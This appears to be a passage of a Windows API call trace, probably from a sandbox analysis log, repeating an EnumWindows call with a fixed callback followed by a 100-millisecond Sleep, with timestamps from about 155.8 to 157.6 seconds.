EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.853] Sleep (dwMilliseconds=0x64) [0155.854] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.854] Sleep (dwMilliseconds=0x64) [0155.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.856] Sleep (dwMilliseconds=0x64) [0155.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.858] Sleep (dwMilliseconds=0x64) [0155.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.861] Sleep (dwMilliseconds=0x64) [0155.863] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.863] Sleep (dwMilliseconds=0x64) [0155.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.864] Sleep (dwMilliseconds=0x64) [0155.866] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.866] Sleep (dwMilliseconds=0x64) [0155.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.867] Sleep (dwMilliseconds=0x64) [0155.869] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.869] Sleep (dwMilliseconds=0x64) [0155.870] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.870] Sleep (dwMilliseconds=0x64) [0155.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.872] Sleep (dwMilliseconds=0x64) [0155.873] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.873] Sleep (dwMilliseconds=0x64) [0155.875] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.875] Sleep (dwMilliseconds=0x64) [0155.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.877] Sleep (dwMilliseconds=0x64) [0155.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.879] Sleep (dwMilliseconds=0x64) [0155.880] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.880] Sleep (dwMilliseconds=0x64) [0155.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.882] Sleep (dwMilliseconds=0x64) [0155.884] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.884] Sleep (dwMilliseconds=0x64) [0155.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.886] Sleep (dwMilliseconds=0x64) [0155.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.897] Sleep (dwMilliseconds=0x64) [0155.898] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.899] Sleep (dwMilliseconds=0x64) [0155.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.900] Sleep (dwMilliseconds=0x64) [0155.903] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.903] Sleep (dwMilliseconds=0x64) [0155.905] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.905] Sleep (dwMilliseconds=0x64) [0155.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.907] Sleep (dwMilliseconds=0x64) [0155.908] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.909] Sleep (dwMilliseconds=0x64) [0155.911] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.911] Sleep (dwMilliseconds=0x64) [0155.991] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0155.991] Sleep (dwMilliseconds=0x64) [0156.019] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.019] Sleep (dwMilliseconds=0x64) [0156.021] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.021] Sleep (dwMilliseconds=0x64) [0156.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.031] Sleep (dwMilliseconds=0x64) [0156.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.033] Sleep (dwMilliseconds=0x64) [0156.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.034] Sleep (dwMilliseconds=0x64) [0156.036] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.036] Sleep (dwMilliseconds=0x64) [0156.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.037] Sleep (dwMilliseconds=0x64) [0156.039] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.039] Sleep (dwMilliseconds=0x64) [0156.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.040] Sleep (dwMilliseconds=0x64) [0156.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.042] Sleep (dwMilliseconds=0x64) [0156.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.043] Sleep (dwMilliseconds=0x64) [0156.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.046] Sleep (dwMilliseconds=0x64) [0156.047] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.047] Sleep (dwMilliseconds=0x64) [0156.049] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.049] Sleep (dwMilliseconds=0x64) [0156.050] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.050] Sleep (dwMilliseconds=0x64) [0156.052] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.052] Sleep (dwMilliseconds=0x64) [0156.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.182] Sleep (dwMilliseconds=0x64) [0156.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.184] Sleep (dwMilliseconds=0x64) [0156.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.186] Sleep (dwMilliseconds=0x64) [0156.187] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.187] Sleep (dwMilliseconds=0x64) [0156.189] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.189] Sleep (dwMilliseconds=0x64) [0156.190] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.190] Sleep (dwMilliseconds=0x64) [0156.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.192] Sleep (dwMilliseconds=0x64) [0156.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.194] Sleep (dwMilliseconds=0x64) [0156.196] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.197] Sleep (dwMilliseconds=0x64) [0156.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.198] Sleep (dwMilliseconds=0x64) [0156.236] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.236] Sleep (dwMilliseconds=0x64) [0156.238] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.238] Sleep (dwMilliseconds=0x64) [0156.240] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.247] Sleep (dwMilliseconds=0x64) [0156.248] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.248] Sleep (dwMilliseconds=0x64) [0156.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.250] Sleep (dwMilliseconds=0x64) [0156.251] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.251] Sleep (dwMilliseconds=0x64) [0156.253] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.253] Sleep (dwMilliseconds=0x64) [0156.255] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.255] Sleep (dwMilliseconds=0x64) [0156.256] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.256] Sleep (dwMilliseconds=0x64) [0156.258] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.258] Sleep (dwMilliseconds=0x64) [0156.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.260] Sleep (dwMilliseconds=0x64) [0156.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.263] Sleep (dwMilliseconds=0x64) [0156.265] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.265] Sleep (dwMilliseconds=0x64) [0156.267] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.267] Sleep (dwMilliseconds=0x64) [0156.269] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.269] Sleep (dwMilliseconds=0x64) [0156.271] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.271] Sleep (dwMilliseconds=0x64) [0156.273] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.273] Sleep (dwMilliseconds=0x64) [0156.275] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.275] Sleep (dwMilliseconds=0x64) [0156.277] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.278] Sleep (dwMilliseconds=0x64) [0156.279] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.280] Sleep (dwMilliseconds=0x64) [0156.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.282] Sleep (dwMilliseconds=0x64) [0156.327] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.328] Sleep (dwMilliseconds=0x64) [0156.330] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.330] Sleep (dwMilliseconds=0x64) [0156.332] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.332] Sleep (dwMilliseconds=0x64) [0156.334] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.334] Sleep (dwMilliseconds=0x64) [0156.336] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.336] Sleep (dwMilliseconds=0x64) [0156.338] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.339] Sleep (dwMilliseconds=0x64) [0156.341] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.342] Sleep (dwMilliseconds=0x64) [0156.345] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.345] Sleep (dwMilliseconds=0x64) [0156.347] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.347] Sleep (dwMilliseconds=0x64) [0156.349] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.349] Sleep (dwMilliseconds=0x64) [0156.351] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.352] Sleep (dwMilliseconds=0x64) [0156.353] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.353] Sleep (dwMilliseconds=0x64) [0156.355] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.355] Sleep (dwMilliseconds=0x64) [0156.356] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.356] Sleep (dwMilliseconds=0x64) [0156.409] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.410] Sleep (dwMilliseconds=0x64) [0156.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.411] Sleep (dwMilliseconds=0x64) [0156.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.413] Sleep (dwMilliseconds=0x64) [0156.414] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.415] Sleep (dwMilliseconds=0x64) [0156.417] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.417] Sleep (dwMilliseconds=0x64) [0156.419] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.420] Sleep (dwMilliseconds=0x64) [0156.421] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.421] Sleep (dwMilliseconds=0x64) [0156.422] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.423] Sleep (dwMilliseconds=0x64) [0156.430] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.430] Sleep (dwMilliseconds=0x64) [0156.432] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.432] Sleep (dwMilliseconds=0x64) [0156.434] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.434] Sleep (dwMilliseconds=0x64) [0156.436] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.436] Sleep (dwMilliseconds=0x64) [0156.439] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.439] Sleep (dwMilliseconds=0x64) [0156.486] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.487] Sleep (dwMilliseconds=0x64) [0156.488] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.489] Sleep (dwMilliseconds=0x64) [0156.490] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.491] Sleep (dwMilliseconds=0x64) [0156.492] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.492] Sleep (dwMilliseconds=0x64) [0156.493] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.494] Sleep (dwMilliseconds=0x64) [0156.495] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.495] Sleep (dwMilliseconds=0x64) [0156.496] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.497] Sleep (dwMilliseconds=0x64) [0156.498] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.498] Sleep (dwMilliseconds=0x64) [0156.499] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.500] Sleep (dwMilliseconds=0x64) [0156.501] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.501] Sleep (dwMilliseconds=0x64) [0156.502] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.503] Sleep (dwMilliseconds=0x64) [0156.504] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.505] Sleep (dwMilliseconds=0x64) [0156.506] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.507] Sleep (dwMilliseconds=0x64) [0156.508] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.508] Sleep (dwMilliseconds=0x64) [0156.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.510] Sleep (dwMilliseconds=0x64) [0156.553] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.553] Sleep (dwMilliseconds=0x64) [0156.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.624] Sleep (dwMilliseconds=0x64) [0156.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.689] Sleep (dwMilliseconds=0x64) [0156.725] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.725] Sleep (dwMilliseconds=0x64) [0156.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.728] Sleep (dwMilliseconds=0x64) [0156.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.729] Sleep (dwMilliseconds=0x64) [0156.731] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.731] Sleep (dwMilliseconds=0x64) [0156.734] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.734] Sleep (dwMilliseconds=0x64) [0156.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.737] Sleep (dwMilliseconds=0x64) [0156.738] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.738] Sleep (dwMilliseconds=0x64) [0156.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.740] Sleep (dwMilliseconds=0x64) [0156.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.741] Sleep (dwMilliseconds=0x64) [0156.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.743] Sleep (dwMilliseconds=0x64) [0156.745] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.745] Sleep (dwMilliseconds=0x64) [0156.749] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.749] Sleep (dwMilliseconds=0x64) [0156.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.753] Sleep (dwMilliseconds=0x64) [0156.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.755] Sleep (dwMilliseconds=0x64) [0156.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.790] Sleep (dwMilliseconds=0x64) [0156.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.836] Sleep (dwMilliseconds=0x64) [0156.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.837] Sleep (dwMilliseconds=0x64) [0156.838] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.839] Sleep (dwMilliseconds=0x64) [0156.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.840] Sleep (dwMilliseconds=0x64) [0156.841] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.842] Sleep (dwMilliseconds=0x64) [0156.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.843] Sleep (dwMilliseconds=0x64) [0156.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.848] Sleep (dwMilliseconds=0x64) [0156.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.851] Sleep (dwMilliseconds=0x64) [0156.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.853] Sleep (dwMilliseconds=0x64) [0156.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.855] Sleep (dwMilliseconds=0x64) [0156.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.856] Sleep (dwMilliseconds=0x64) [0156.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.858] Sleep (dwMilliseconds=0x64) [0156.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.859] Sleep (dwMilliseconds=0x64) [0156.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.861] Sleep (dwMilliseconds=0x64) [0156.862] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.862] Sleep (dwMilliseconds=0x64) [0156.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.865] Sleep (dwMilliseconds=0x64) [0156.894] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.894] Sleep (dwMilliseconds=0x64) [0156.896] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.896] Sleep (dwMilliseconds=0x64) [0156.898] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.898] Sleep (dwMilliseconds=0x64) [0156.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.900] Sleep (dwMilliseconds=0x64) [0156.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.902] Sleep (dwMilliseconds=0x64) [0156.903] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.903] Sleep (dwMilliseconds=0x64) [0156.905] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.905] Sleep (dwMilliseconds=0x64) [0156.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.907] Sleep (dwMilliseconds=0x64) [0156.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.909] Sleep (dwMilliseconds=0x64) [0156.911] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.911] Sleep (dwMilliseconds=0x64) [0156.913] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.913] Sleep (dwMilliseconds=0x64) [0156.915] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.915] Sleep (dwMilliseconds=0x64) [0156.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.920] Sleep (dwMilliseconds=0x64) [0156.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.922] Sleep (dwMilliseconds=0x64) [0156.924] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.924] Sleep (dwMilliseconds=0x64) [0156.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.926] Sleep (dwMilliseconds=0x64) [0156.927] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.927] Sleep (dwMilliseconds=0x64) [0156.929] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.929] Sleep (dwMilliseconds=0x64) [0156.930] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.931] Sleep (dwMilliseconds=0x64) [0156.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0156.932] Sleep (dwMilliseconds=0x64) [0157.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.000] Sleep (dwMilliseconds=0x64) [0157.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.066] Sleep (dwMilliseconds=0x64) [0157.140] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.141] Sleep (dwMilliseconds=0x64) [0157.158] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.158] Sleep (dwMilliseconds=0x64) [0157.160] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.161] Sleep (dwMilliseconds=0x64) [0157.162] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.162] Sleep (dwMilliseconds=0x64) [0157.163] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.164] Sleep (dwMilliseconds=0x64) [0157.165] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.165] Sleep (dwMilliseconds=0x64) [0157.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.167] Sleep (dwMilliseconds=0x64) [0157.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.168] Sleep (dwMilliseconds=0x64) [0157.169] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.170] Sleep (dwMilliseconds=0x64) [0157.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.193] Sleep (dwMilliseconds=0x64) [0157.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.194] Sleep (dwMilliseconds=0x64) [0157.195] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.196] Sleep (dwMilliseconds=0x64) [0157.199] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.199] Sleep (dwMilliseconds=0x64) [0157.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.201] Sleep (dwMilliseconds=0x64) [0157.202] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.202] Sleep (dwMilliseconds=0x64) [0157.204] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.204] Sleep (dwMilliseconds=0x64) [0157.206] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.206] Sleep (dwMilliseconds=0x64) [0157.207] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.207] Sleep (dwMilliseconds=0x64) [0157.209] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.209] Sleep (dwMilliseconds=0x64) [0157.210] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.211] Sleep (dwMilliseconds=0x64) [0157.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.212] Sleep (dwMilliseconds=0x64) [0157.214] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.214] Sleep (dwMilliseconds=0x64) [0157.215] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.215] Sleep (dwMilliseconds=0x64) [0157.217] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.217] Sleep (dwMilliseconds=0x64) [0157.219] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.219] Sleep (dwMilliseconds=0x64) [0157.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.221] Sleep (dwMilliseconds=0x64) [0157.222] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.222] Sleep (dwMilliseconds=0x64) [0157.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.224] Sleep (dwMilliseconds=0x64) [0157.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.225] Sleep (dwMilliseconds=0x64) [0157.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.227] Sleep (dwMilliseconds=0x64) [0157.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.229] Sleep (dwMilliseconds=0x64) [0157.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.267] Sleep (dwMilliseconds=0x64) [0157.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.397] Sleep (dwMilliseconds=0x64) [0157.398] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.399] Sleep (dwMilliseconds=0x64) [0157.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.401] Sleep (dwMilliseconds=0x64) [0157.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.403] Sleep (dwMilliseconds=0x64) [0157.457] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.457] Sleep (dwMilliseconds=0x64) [0157.459] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.459] Sleep (dwMilliseconds=0x64) [0157.460] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.460] Sleep (dwMilliseconds=0x64) [0157.462] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.462] Sleep (dwMilliseconds=0x64) [0157.463] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.463] Sleep (dwMilliseconds=0x64) [0157.465] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.465] Sleep (dwMilliseconds=0x64) [0157.466] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.466] Sleep (dwMilliseconds=0x64) [0157.468] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.468] Sleep (dwMilliseconds=0x64) [0157.469] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.469] Sleep (dwMilliseconds=0x64) [0157.471] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.471] Sleep (dwMilliseconds=0x64) [0157.472] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.472] Sleep (dwMilliseconds=0x64) [0157.474] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.474] Sleep (dwMilliseconds=0x64) [0157.475] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.475] Sleep (dwMilliseconds=0x64) [0157.477] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.477] Sleep (dwMilliseconds=0x64) [0157.479] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.479] Sleep (dwMilliseconds=0x64) [0157.480] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.480] Sleep (dwMilliseconds=0x64) [0157.482] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.482] Sleep (dwMilliseconds=0x64) [0157.483] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.483] Sleep (dwMilliseconds=0x64) [0157.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.485] Sleep (dwMilliseconds=0x64) [0157.486] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.486] Sleep (dwMilliseconds=0x64) [0157.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.510] Sleep (dwMilliseconds=0x64) [0157.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.523] Sleep (dwMilliseconds=0x64) [0157.524] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.525] Sleep (dwMilliseconds=0x64) [0157.526] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.526] Sleep (dwMilliseconds=0x64) [0157.528] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.528] Sleep (dwMilliseconds=0x64) [0157.529] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.529] Sleep (dwMilliseconds=0x64) [0157.531] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.531] Sleep (dwMilliseconds=0x64) [0157.533] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.533] Sleep (dwMilliseconds=0x64) [0157.534] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.534] Sleep (dwMilliseconds=0x64) [0157.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.537] Sleep (dwMilliseconds=0x64) [0157.562] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.562] Sleep (dwMilliseconds=0x64) [0157.647] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0157.647] Sleep (dwMilliseconds=0x64) 